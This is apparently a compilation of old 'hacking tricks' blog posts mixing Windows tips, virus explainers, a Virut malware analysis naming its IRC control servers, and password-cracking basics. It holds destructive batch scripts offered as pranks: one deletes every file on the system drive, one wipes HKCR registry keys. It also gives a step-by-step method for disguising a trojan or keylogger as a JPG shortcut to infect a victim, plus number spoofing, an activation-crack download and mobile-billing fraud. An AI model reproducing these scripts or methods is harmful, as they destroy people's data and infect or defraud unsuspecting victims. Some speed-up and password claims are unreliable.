Restart Windows without restarting the Computer

When you click on the SHUTDOWN button, make sure to simultaneous press SHIFT Button. If you hold the Shift key down while clicking on SHUTDOWN button, you computer would restart without restarting the Computer. This is equivalent to term "HOT REBOOT".

The 8 deadly windows .vbs commands

Note:- The Following tutorial is for educational purpose only. If you harm your or your friend’s computer using the following tutorial

I am going to provide some of my favorite .vbs codes, I use to play with in my childhood days. You can use these codes as a small term virus. Hence , you can also call this tutorial a virus creation tutorial.

To use the codes I am going to provide, all you need to do is to copy the codes from iTechnoBuzz, paste it in any notepad or text file, than save the text file with anynam.vbs , and yeah dont forget to change the format from text file to all files.
*NOTE* these codes do not stay on forever, they just stay on until the person shuts off the computer. The registry delete is one that PERMANETLY deletes files on the computer that cannot be recovered. this will DESTROY the computer.

-The blue screen of Death [this might be dangerous]

Code:

CODE
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

-Stupidity Shutdown

*This pops up a funny message then will shutdown the computer*

Code:

CODE
@echo off
msg * Fatal system error due to admin stupidity!
shutdown -c “Error! You are too stupid!” -s -t 10

-Delete Key Registry Files [NOTE THIS IS DANGEROUS!! USE AT RISK]

*This will delete key registry files, then loops a message* (CANNOT BE RECOVERED FROM)*

Code:

CODE
@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been fcked.  Have a nice day.
GOTO MESSAGE

-Endless Notepads

*This will pop up endless notepads until the computer freezes and crashes*

Code:

CODE
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

-Crazy caps lock

*This constantly turns caps lock on and off really fast continuously*

Code:

CODE
Set wshShell =wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{CAPSLOCK**”
loop

-Endless Enter

*This constantly makes it so the enter button is being pressed continuesly*

Code:

CODE
Set wshShell = wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop

-Endless Backspace

*This makes it so the backspace key is constantly being pressed*

Code:

CODE
MsgBox “Let’s go back a few steps”
Set wshShell =wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs**”
loop

-Popping CD Drives

*This will make the CD drives constantly pop out*

Code:

CODE
Set oWMP = CreateObject(”WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 100
loop

Windows Genuine Hack :-

1) Download “Windows.Genuine.Advantage.Validation..rar”
2) Extract It.
3) Run “installer.bat” file.
4) Reboot.
5) Enjoy Your Validated Windows.

windows genuine

Download :
http://rapidshare.com/files/115531401/Windows.Genuine.Advantage.Validation..rar

VODAFONE HACK FOR FREE GPRS!

This method has been tested on different mobiles and has been confirmed to be working.
Followng are the Settings you require to configure on your Mobile:

Account Name: Vodafone_gprs
Homepage: http://live.vodafone.in
User Name: (no need)
Pass: (no need)

Access Point Settings :-
Proxy: Enabled
Proxy Address: 10.10.1.100
Proxy Port: 9401
Data Bearer: Packet Data

Bearer Settings :-
Packet Data Access Point: portalnmms
Network type: IPV4
Authentication: normal
User Name: (no need)
Password: (no need)

*IF that happen this settings is not working then change the proxy port number to:-

Proxy Port: 9401

Types of viruses :-

The different types of viruses are as follows-

1) Boot Sector Virus :- Boot sector viruses infect either the master boot record of the hard disk or the floppy drive. The boot record program responsible for the booting of operating system is replaced by the virus. The virus either copies the master boot program to another part of the hard disk or overwrites it. They infect a computer when it boots up or when it accesses the infected floppy disk in the floppy drive. i.e. Once a system is infected with a boot-sector virus, any non-write-protected disk accessed by this system will become infected.

Examples of boot- sector viruses are Michelangelo and Stoned.

2) File or Program Viruses :- Some files/programs, when executed, load the virus in the memory and perform predefined functions to infect the system. They infect program files with extensions like .EXE, .COM, .BIN, .DRV and .SYS .

Some common file viruses are Sunday, Cascade.

3) Multipartite Viruses :- A multipartite virus is a computer virus that infects multiple different target platforms, and remains recursively infective in each target. It attempts to attack both the boot sector and the executable, or programs, files at the same time. When the virus attaches to the boot sector, it will in turn affect the system’s files, and when the virus attaches to the files, it will in turn infect the boot sector.
This type of virus can re-infect a system over and over again if all parts of the virus are not eradicated.

Ghostball was the first multipartite virus, discovered by Fridrik Skulason in October 1989.
Other examples are Invader, Flip, etc.

4) Stealth Viruses :- These viruses are stealthy in nature means it uses various methods for hiding themselves to avoid detection. They sometimes remove themselves from the memory temporarily to avoid detection by antivirus. They are somewhat difficult to detect. When an antivirus program tries to detect the virus, the stealth virus feeds the antivirus program a clean image of the file or boot sector.

5) Polymorphic Viruses :- Polymorphic viruses have the ability to mutate implying that they change the viral code known as the signature each time they spread or infect. Thus an antivirus program which is scanning for specific virus codes unable to detect it's presense.

6) Macro Viruses :- A macro virus is a computer virus that "infects" a Microsoft Word or similar application and causes a sequence of actions to be performed automatically when the application is started or something else triggers it. Macro viruses tend to be surprising but relatively harmless.A macro virus is often spread as an e-mail virus. Well-known examples are Concept Virus and Melissa Worm.

Shutdown Command Via Command Prompt :-

The 'Shutdown' Command Becomes More Flexible and Automated when used from the Command Prompt.

To Run the 'Shutdown' command from the command prompt, go to 'Start > Run', type 'cmd', and press 'Enter'.
In the black box (the command prompt) type 'Shutdown' and the Switches you want to use with the 'Shutdown' command.
You have to use at least one switch for the shutdown command to work.

The Switches :-
The 'Shutdown' command has a few options called Switches. You can always see them by typing 'shutdown -?' in the command prompt if you forget any of them.

-i: Display GUI interface, must be the first option
-l: Log off (cannot be used with -m option)
-s: Shutdown the computer
-r: Shutdown and restart the computer
-a: Abort a system shutdown
-m \\computername: Remote computer to shutdown/restart/abort
-t xx: Set timeout for shutdown to xx seconds
-c “comment”: Shutdown comment (maximum of 127 characters)
-f: Forces running applications to close without warning
-d [u][p]:xx:yy: The reason code for the shutdown u is the user code p is a planned shutdown code xx is the major reason code (positive integer less than 256) yy is the minor reason code (positive integer less than 65536)

Note :- I’ve noticed using a switch with a '-' sign doesn’t work sometimes.
If you are having trouble try using a '/' in place of '-' in your switches.

Examples :-
shutdown –m \\computername –r –f
This command will restart the computer named computername and force any programs that might still be running to stop.

shutdown –m \\computername –r –f –c “I’m restarting your computer. Please save your work now.” –t 120
This command will restart the computer named computername, force any programs that might still be running to stop, give to user on that computer a message, and countdown 120 seconds before it restarts.

shutdown –m \\computername –a
This command will abort a previous shutdown command that is in progress.

Run Firefox inside Firefox

How to run Firefox inside Firefox.?

Yup you can run Firefox inside firefox just by typing following url.

How about Opening Firefox inside Firefox which is again in another Firefox..?
Not bad huh?
And its really easy too just type in this url in Firefox's address bar and there you go!
Firefox inside Firefox!

copy paste following url in a web browser (mozilla firefox).

chrome://browser/content/browser.xul


Following is the screenshot of this trick (firefox in firefox in firefox, which is again in another firefox)-

-: Reveal *****(Asterisk) Passwords Using Javascript :-

Want to Reveal the Passwords Hidden Behind Asterisk (****) ?

Follow the steps given below-

1) Open the Login Page of any website. (eg. http://mail.yahoo.com)

2) Type your 'Username' and 'Password'.

3) Copy and paste the JavaScript code given below into your browser's address bar and press 'Enter'.

javascript: alert(document.getElementById('Passwd').value);


4) As soon as you press 'Enter', A window pops up showing Password typed by you..!


Note :- This trick may not be working with firefox.

Reveal Passwords Using Javascript

Remove shortcut arrow from desktop icons completely

To remove shortcut arrow from desktop icons in any type of document:

a) Perform instructions described under ‘Remove shortcut arrow from desktop icons’. For your convenience, steps 1 to 3 are reported here.

b) Perform instructions described under ‘Remove shortcut arrow from desktop icons (2)’. For your convenience, steps 4 and 5 are reported here.

c) And finally, do the same with conferencelink, docshortcut, internetshortcut and wshfile.

So, here is a summary of all actions:

1. Start regedit.
2. Navigate to HKEY_CLASSES_ROOT\lnkfile
3. Delete the IsShortcut registry value.

4. Navigate to HKEY_CLASSES_ROOT\piffile
5. Delete the IsShortcut registry value.

6. Navigate to HKEY_CLASSES_ROOT\ConferenceLink
7. Delete the IsShortcut registry value.
8. Navigate to HKEY_CLASSES_ROOT\DocShortCut
9. Delete the IsShortcut registry value.
10.Navigate to HKEY_CLASSES_ROOT\InternetShortcut
11. Delete the IsShortcut registry value.
12. Navigate to HKEY_CLASSES_ROOT\WSHFile
13. Delete the IsShortcut registry value.

14. Close regedit.

Logoff and… Enjoy!

Note : Please note that in some cases deactivating the arrow for *.LNK files might lead to duplicate items in the Explorer Context menu.

Pop A Banner Each Time Windows Boots

o pop a banner which can contain any message you want to display just before a user is going to log on.

Go to the key :- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WinLogon
Now create a new string Value in the right pane named 'LegalNoticeCaption' and enter the value that you want to see in the MenuBar.

Now create yet another new string value and name it:
'LegalNoticeText'.
Modify it and insert the message you want to display each time Windows boots.

This can be effectively used to display the company's private policy each time the user logs on to his NT box.

It's '.reg' file would be:
REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon] "LegalNoticeCaption"="Caption here."

Password Hacking :-

Password cracking is the process of recovering secret passwords from data that has been stored in or transmitted by a computer system. A common approach is to repeatedly try guesses for the password.
Most passwords can be cracked by using following techniques :

1) Hashing :- Here we will refer to the one way function (which may be either an encryption function or cryptographic hash) employed as a hash and its output as a hashed password.
If a system uses a reversible function to obscure stored passwords, exploiting that weakness can recover even 'well-chosen' passwords.
One example is the LM hash that Microsoft Windows uses by default to store user passwords that are less than 15 characters in length.
LM hash breaks the password into two 7-character fields which are then hashed separately, allowing each half to be attacked separately.

Hash functions like SHA-512, SHA-1, and MD5 are considered impossible to invert when used correctly.


2) Guessing :- Many passwords can be guessed either by humans or by sophisticated cracking programs armed with dictionaries (dictionary based) and the user's personal information.

Not surprisingly, many users choose weak passwords, usually one related to themselves in some way. Repeated research over some 40 years has demonstrated that around 40% of user-chosen passwords are readily guessable by programs. Examples of insecure choices include:

* blank (none)
* the word "password", "passcode", "admin" and their derivatives
* the user's name or login name
* the name of their significant other or another person (loved one)
* their birthplace or date of birth
* a pet's name
* a dictionary word in any language
* automobile licence plate number
* a row of letters from a standard keyboard layout (eg, the qwerty keyboard -- qwerty itself, asdf, or qwertyuiop)
* a simple modification of one of the preceding, such as suffixing a digit or reversing the order of the letters.
and so on....

In one survery of MySpace passwords which had been phished, 3.8 percent of passwords were a single word found in a dictionary, and another 12 percent were a word plus a final digit; two-thirds of the time that digit was.
A password containing both uppercase & lowercase characters, numbers and special characters too; is a strong password and can never be guessed.


Check Your Password Strength



3) Default Passwords :- A moderately high number of local and online applications have inbuilt default passwords that have been configured by programmers during development stages of software. There are lots of applications running on the internet on which default passwords are enabled. So, it is quite easy for an attacker to enter default password and gain access to sensitive information. A list containing default passwords of some of the most popular applications is available on the internet.
Always disable or change the applications' (both online and offline) default username-password pairs.

4) Brute Force :- If all other techniques failed, then attackers uses brute force password cracking technique. Here an automatic tool is used which tries all possible combinations of available keys on the keyboard. As soon as correct password is reached it displays on the screen.This techniques takes extremely long time to complete, but password will surely cracked.
Long is the password, large is the time taken to brute force it.

5) Phishing :- This is the most effective and easily executable password cracking technique which is generally used to crack the passwords of e-mail accounts, and all those accounts where secret information or sensitive personal information is stored by user such as social networking websites, matrimonial websites, etc.
Phishing is a technique in which the attacker creates the fake login screen and send it to the victim, hoping that the victim gets fooled into entering the account username and password. As soon as victim click on "enter" or "login" login button this information reaches to the attacker using scripts or online form processors while the user(victim) is redirected to home page of e-mail service provider.
Never give reply to the messages which are demanding for your username-password, urging to be e-mail service provider.

It is possible to try to obtain the passwords through other different methods, such as social engineering, wiretapping, keystroke logging, login spoofing, dumpster diving, phishing, shoulder surfing, timing attack, acoustic cryptanalysis, using a Trojan Horse or virus, identity management system attacks (such as abuse of Self-service password reset) and compromising host security.
However, cracking usually designates a guessing attack.

Latest Airtel Hack

Now a days Airtel gives New option to the Subscriber to access Mobile Office daily @ Rs.25.00/- per day. But this is too Costly.
Only 24 hours and the cost is Rs.25.00 Oh GOD!!

But I got a Trick that’s help me to Activate my Mobile Office whole 30 days only for 25.00/. Its really good.

Just follow the Trick-
1) Your account balance should be above 25.00 for the first time.
2) Activate your mobile
office by dialing *444*1#. You will Activate your Mobile Office in the Morning.
3) You got an Activation msg. Your account should deducted by Rs. 25.00/-
4) After that your can enjoy mobile office for 24 hours.
5) But for unlimited access you will do this :: Just switch off your mobile from 7.00 am to 10.00am. and your account balance should be below 25.00 /
6) Just try it enjoy the whole world only by 25.00.

I am Sure you should be Benefited. JUST TRY IT!!!!!!!!!

Increase Virtual RAM - To Make Your System Faster 100 percent works

Follow the steps given below :-


1) Hold down the 'Windows' Key and Press the 'Pause/Break' button at the top right of your keyboard.
Another way is Right-Clicking 'My Computer' and then Select 'Properties'.

2) Click on the 'Advanced' tab.

3) Under 'Performance', click 'Settings'.

4) Then click the 'Advanced' tab on the button that pops up.

5) Under 'Virtual Memory' at the bottom, click 'Change'.

6) Click the 'Custom Size' button.

7) For the initial size (depending on your HD space), type in anywhere from 1000-1500 (although I use 4000), and for the Maximum size type in anywhere from 2000-2500 (although I use 6000).

8) Click 'Set', and then exit out of all of the windows.

9) Finally, Restart your computer.

10) You now have a faster computer and 1-2GB of Virtual RAM..!

Mobile hack to call your friends:

Hello Friends after "Make Free Phone Calls From PC to mobile for free" hack today I am
sahring With you a extremely Nice Prank or you can simply say Hack
i.e "How To Call Your Friends From THeir Own Cell Number".
I was asked by many Friends to Write Tutorials about mobile hacks and Pranks .
So I am Sharing My Second Mobile Extreme Prank With You all.
Enjoy and Have Fun And GO on Reading..

1. Go to http://www.mobivox.com and register there for free account.

2. During registration, remember to insert Victim mobile number in "Phone number" field as shown below.

3. Complete registration and confirm your email id and then login to your account. Click on "Direct WebCall".


4. You will arrive at page shown below. In "Enter a number" box, select your country and also any mobile number(you can enter yours). Now, simply hit on "Call Now" button to call your friend with his own number.


5. That's it. Your friend will be shocked to see his own number calling him. I have spent last two days simply playing this cool mobile hack prank.

That All The Full Tutorial . I think have Enjoyed It reading and Well Understood What to do?
If you are facing Any Problem Ask me I am there to help you Out . Enjoy and have Fun.

Hide EXE File into JPG

This is a good trick to hide your exe files into a jpg file..!

How about sending a trojan or a keylogger into your victim using this trick..??

1) Firstly, create a new folder and make sure that the options 'show hidden files and folders' is checked and ‘hide extensions for known file types’ is unchecked.
Basically what you need is to see hidden files and see the extension of all your files on your pc.

2) Paste a copy of your server on the new created folder. let's say it's called 'server.exe' (that's why you need the extension of files showing, cause you need to see it to change it)

3) Now you’re going to rename this 'server.exe' to whatever you want, let’s say for example 'picture.jpeg'

4) Windows is going to warn you if you really want to change this extension from exe to jpeg, click YES.

5) Now create a shortcut of this 'picture.jpeg' in the same folder.

6) Now that you have a shortcut, rename it to whatever you want, for example, 'me.jpeg'.

7) Go to properties (on file me.jpeg) and now you need to do some changes there.

8) First of all delete all the text on field 'Start In' and leave it empty.

9) Then on field 'Target' you need to write the path to open the other file (the server renamed 'picture.jpeg') so you have to write this :-
'C:\WINDOWS\system32\cmd.exe /c picture.jpeg'

10) The last field, 'c picture.jpeg' is always the name of the first file. If you called the first file 'soccer.avi' you gotta write 'C:\WINDOWS\system32\cmd.exe /c soccer.avi'.

11) So what you’re doing is when someone clicks on 'me.jpeg', a cmd will execute the other file 'picture.jpeg' and the server will run.

12) On that file 'me.jpeg' (shortcut), go to properties and you have an option to change the icon. Click that and a new window will pop up and you have to write this :-
%SystemRoot%\system32\SHELL32.dll . Then press OK.

13) You can set the properties 'Hidden' for the first file 'picture.jpeg' if you think it’s better to get a connection from someone.

14) But don’t forget one thing, these 2 files must always be together in the same folder and to get connected to someone they must click on the shortcut created not on the first file. So rename the files to whatever you want considering the person and the knowledge they have on this matter.

15) For me for example I always want the shortcut showing first so can be the first file to be opened. So I rename the server to 'picture2.jpeg' and the shortcut to 'picture1.jpeg'.
This way the shortcut will show up first. If you set hidden properties to the server 'picture.jpeg' then you don’t have to bother with this detail but I’m warning you, the hidden file will always show up inside of a Zip or a Rar file.

16) So the best way to send these files together to someone is compress them into Zip or Rar.

17) inside the Rar or Zip file you can see the files properties and even after all this work you can see that the shortcut is recognized like a shortcut but hopefully the person you sent this too doesn’t know that and is going to open it.

Hide Entire Drives Partition Without Registry

Here is a cool technique which hides entire hard disk drives by a simple procedure.
This is the best security tip to be employ against unauthorised users.

1) Go to Start > Run > type "diskpart".
A DOS window will appear with following description.

DISKPART>

2) Then type "list volume"
The result will look something like one as shown below-
http://www.insecure.in/images/hide_drive.gif

3) Suppose you want to hide drive E then type "select volume 3"
Then a message will appear in same window { Volume 3 is the selected volume}

4) Now type "remove letter E"
Now a message will come { Diskpart Removed the Drive letter }

sometime it requires to reboot the computer.
Diskpart will remove the letter.

Windows XP is not having capabilty to identify the unknown volume.
Your Data is now safe from unauthorised users.

To access the content of hidden Drive repeat the process mentioned above. But in 4th step replace " remove" by "assign".
It means type "assign letter E".

How to access restricted orkut?? in college

http:\\74.125.113.85

New Virus Alert (improved damage than earlier version) Virus:W32/Virut

Name : Virus:W32/Virut
Category:Malware
Type:Backdoor, Virus
Platform:W32

Names,aliases,older variants:

Win32/Virut.D (AhnLab-V3),
W32/Virut.E (AntiVir),
Win32.Virtob.2.Gen (BitDefender),
W32.Virut.ci (ClamAV),
Win32.Virut.5 (DrWeb),
W32/Virut.E (Fortinet),
Virus.Win32.Virut.e (F-Secure),
Virus.Win32.Virut.d (Ikarus),
Virus.Win32.Virut.e (Kaspersky),
W32/Virut (McAfee),
Virus:Win32/Virut.D (Microsoft),
Win32/Virut (NOD32v2),
W32/Virutas.G (Panda),
W32/Vetor-A (Sophos),
W32.Virut.B (Symantec),
Win32.Virut.Gen (VirusBuster),
Win32.Virut.E (Webwasher-Gateway)


Summary

"Virut" is a family of polymorphic memory-resident appending file infectors that have Entry Point Obscuring (EPO) capabilities.

Viruses belonging to this family infect files with .EXE and .SCR extensions. All viruses belonging to the Virut family also contain an IRC-based backdoor that provides unauthorized access to infected computers.


Behavior:

Parasitic file infector of PE files with .EXE extension.
Acts like an IRC bot, communicating on TCP port 65520, it opens channel #virtu on the proxim.ircgalaxy.pl IRC server.


Its first step upon running is injecting the process (winlogon.exe), for this reason firewalls will not identify the virus. The virus will infect files on local and shared drives. It does not depend on usage of these files.

Infected files are approx. 9kB longer, and will not keep the original timestamp, (the timestamp will change to the time when the virus was written into the file).

The virus is activated in the "classical" way:

HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Note: the name of the infected file can be variable. It selects a name from the infected files in the folder %SystemRoot%\system32.

It doesn't use any stealth or rootkit techniques for hiding infected files. It uses process injection technology, which provides good camouflage.

There are bugs in the viral code. When the virus produces infected files, it also creates non-functional files that also contain the virus is caused by incorrectly written and non-function viral code present in these files.


Remover:

Usage:

Rmvirut (check and repair all accessible disk drives)
Rmvirut C: (check and repair the entire C drive)
Rmvirut C: D: (check and repair the C a D drives)
Rmvirut C:\Windows (check and repair files in the C:\Windows folder)
Rmvirut C:\Windows\explorer.exe (check and repair C:\Windows\explorer.exe)



Additional Details

Virut is a polymorphic appending file infector with EPO (Entry Point Obscuring) capabilities. The virus uses several infection methods:

1. The virus relocates a certain amount of bytes from the entry point of the original file and writes its initial decryptor there. So when an infected file is run, the virus code gets control first. The initial decryptor then decrypts a small part of the virus's body that is appended to the end of the infected file and passes control to it.

2. The virus appends its code to the end of the file and changes the entry point address of the original program so it points to the start of the appended viral code, where the decryptor is located. This is the most common way of infecting files for appending parasitic infectors.

3. The virus writes its initial code into a gap (empty space) in the end of the original file's code section and redirects the entry point address to that code. The initial code decrypts a small part of the virus body and passes control to it. Then the main decryptor takes control and decrypts the rest of the virus body.

The virus patches the first found API call (from the entry point address) in the original program so that instead of the API it calls the initial virus decryptor. That decryptor may be located in the end of the code section as said above.


The virus checks whether or not it is already active and if it is, depending on the infection methods described earlier, it either relocates the original file's data back to its place and passes control to it or returns control to the original file's entry point address or calls the replaced API itself and then passes control to the original program. If the virus is not yet active, the second decryptor decrypts the rest of the virus body and initiates installation cycle.

During the installation cycle the virus injects its code into a system process, hooks a few low-level Windows API calls and stays resident in memory. When a file with .EXE or .SCR extension is opened or run, the virus tries to infect it with one of its four methods.

The virus contains an IRC-based backdoor. The backdoor connects to the pre-defined IRC server (ircd.zief.pl in the last variants) and joins the "virtu" channel. The author of the virus can give commands to all or to specific bots created by the virus in the channel. The bot is quite primitive - it allows a hacker to download and run files from Internet.

Some of Virut variants contain the following text strings:

Quote:

• O noon of life! O time to celebrate! • O summer garden! • Relentlessly happy and expectant, standing: - • Watching all day and night, for friends I wait: • Where are you, friends? Come! It is time! It's late!

Virut is a patching virus. This means that Virut will inject malicious code into your computer's existing executable programs (.exe's and .scr's). The malicious code can be used to do anything; it's up to the malware author.

The problem with Virut lies in the quality of the code...it's very buggy and can cause programs to run extremely slow and randomly crash. The longer Virut is present on your computer the more .exe's it will infect.

If you're lucky, however, and understood that your PC is infected in time, there may be a hope yet.


Below is a list of files that the W32/Virut Virus may be created as:

%System%\aewuuwufbvv.exe
%System%\arowzdrkjgtwr.exe
%System%\bgzmdaaauies.exe
%System%\bkzzrtliuprckz.exe
%System%\dllcache\sxch0st.exe
%System%\dllcache\wintcps.exe
%System%\ewmtgqkh.exe
%System%\explorer.exe
%System%\gyvtncthhidoir.exe
%System%\ifbtomotphe.exe
%System%\ikpprhznityacq.exe
%System%\irmwsyf.exe
%System%\khjdphmyttggvt.exe
%System%\lhttk.exe
%System%\mwaehuczvshuh.exe
%System%\mzdgz.exe
%System%\naszaoytn.exe
%System%\ocekhdcr.exe
%System%\orqbhjddhbfp.exe
%System%\qwkoykyojjn.exe
%System%\ruqbcalrxsfw.exe
%System%\sgvq.exe
%System%\sgwnlbki.exe
%System%\wbem\winscrvs.exe
%System%\xirwqznybc.exe
%System%\xroyiabh.exe
%System%\yvscb.exe
%System%\zeuvqlghbbfv.exe
%System%\zoxtyjayxnkwuh.exe
%ProgramFiles%\common files\system\msasp32.exe
%ProgramFiles%\common files\system\msiwa32.exe
%Windir%\antiv.exe

Increase your RAM and so system speed

1). Start any application, say Word. Open some large documents.


2). Press CTRL+SHIFT+ESC to open Windows Task Manager and click Processes tab and sort the list in descending order on Mem Usage. You will notice that WINWORD.EXE will be somewhere at the top, using multiple MBs of memory.




3). Now switch to Word and simply minimize it. (Don't use the Minimize All Windows option of the task bar).



4). Now go back to the Windows Task Manager and see where WINWORD.EXE is listed. Most probably you will not find it at the top. You will typically have to scroll to the bottom of the list to find Word. Now check out the amount of RAM it is using. Surprised? The memory utilization has reduced by a huge amount.



5). Minimize each application that you are currently not working on by clicking on the Minimize button & you can increase the amount of available RAM by a substantial margin. Depending upon the number and type of applications you use together, the difference can be as much as 50 percent of extra RAM.



In any multitasking system, minimizing an application means that it won't be utilized by the user right now. Therefore, the OS automatically makes the application use virtual memory & keeps bare minimum amounts of the code in physical RAM.